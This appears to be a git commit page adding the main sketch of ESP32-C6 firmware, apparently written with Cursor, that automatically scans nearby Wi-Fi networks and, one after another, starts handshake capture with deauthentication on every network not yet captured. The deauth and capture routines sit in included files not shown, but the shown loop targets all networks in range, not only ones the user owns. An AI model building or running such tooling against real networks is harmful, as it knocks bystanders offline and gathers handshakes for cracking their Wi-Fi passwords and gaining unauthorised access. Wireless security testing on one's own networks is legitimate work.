Initial commit: handshake capture firmware for ESP32-C6 1.47" LCD
Made-with: Cursor
This commit is contained in:
@@ -0,0 +1,86 @@
|
||||
#include "Display_ST7789.h"
|
||||
#include "LVGL_Driver.h"
|
||||
#include "WiFi_Scanner.h"
|
||||
#include "SD_Card.h"
|
||||
#include "HandshakeCapture.h"
|
||||
|
||||
// State machine for automatic capture
|
||||
enum CaptureState {
|
||||
STATE_IDLE,
|
||||
STATE_SCANNING,
|
||||
STATE_CAPTURING,
|
||||
STATE_WAITING
|
||||
};
|
||||
|
||||
CaptureState captureState = STATE_IDLE;
|
||||
int current_target_index = -1;
|
||||
unsigned long capture_start_time = 0;
|
||||
const unsigned long CAPTURE_TIMEOUT_MS = 30000; // 30 seconds per network
|
||||
|
||||
void setup()
|
||||
{
|
||||
LCD_Init();
|
||||
Lvgl_Init();
|
||||
SD_Init();
|
||||
WiFiScanner_Init();
|
||||
handshakeCaptureInit();
|
||||
|
||||
// Perform initial scan
|
||||
WiFiScanner_Refresh();
|
||||
captureState = STATE_SCANNING;
|
||||
}
|
||||
|
||||
void loop()
|
||||
{
|
||||
Timer_Loop();
|
||||
handshakeCaptureLoop(); // handle periodic deauth
|
||||
|
||||
switch (captureState) {
|
||||
case STATE_SCANNING:
|
||||
// Find first uncaptured network
|
||||
current_target_index = -1;
|
||||
for (int i = 0; i < 20; i++) {
|
||||
if (networks[i].ssid.isEmpty()) break;
|
||||
if (!networks[i].handshake_captured) {
|
||||
current_target_index = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (current_target_index >= 0) {
|
||||
setTarget(current_target_index);
|
||||
captureState = STATE_CAPTURING;
|
||||
capture_start_time = millis();
|
||||
startCapture(true); // with deauth
|
||||
Ui_SetWifiStatus("Capturing...");
|
||||
} else {
|
||||
// All networks captured
|
||||
Ui_SetWifiStatus("All captured");
|
||||
captureState = STATE_IDLE;
|
||||
}
|
||||
break;
|
||||
|
||||
case STATE_CAPTURING:
|
||||
// Check if handshake captured
|
||||
if (isHandshakeCaptured(current_target_index)) {
|
||||
// Success
|
||||
Ui_SetWifiStatus("Handshake captured");
|
||||
stopCapture();
|
||||
captureState = STATE_SCANNING;
|
||||
// Wait a bit before moving to next
|
||||
delay(2000);
|
||||
} else if (millis() - capture_start_time > CAPTURE_TIMEOUT_MS) {
|
||||
// Timeout
|
||||
Ui_SetWifiStatus("Capture timeout");
|
||||
stopCapture();
|
||||
captureState = STATE_SCANNING;
|
||||
delay(2000);
|
||||
}
|
||||
break;
|
||||
|
||||
case STATE_IDLE:
|
||||
// Do nothing, maybe blink LED
|
||||
break;
|
||||
}
|
||||
|
||||
delay(16);
|
||||
}
|
||||
Reference in New Issue
Block a user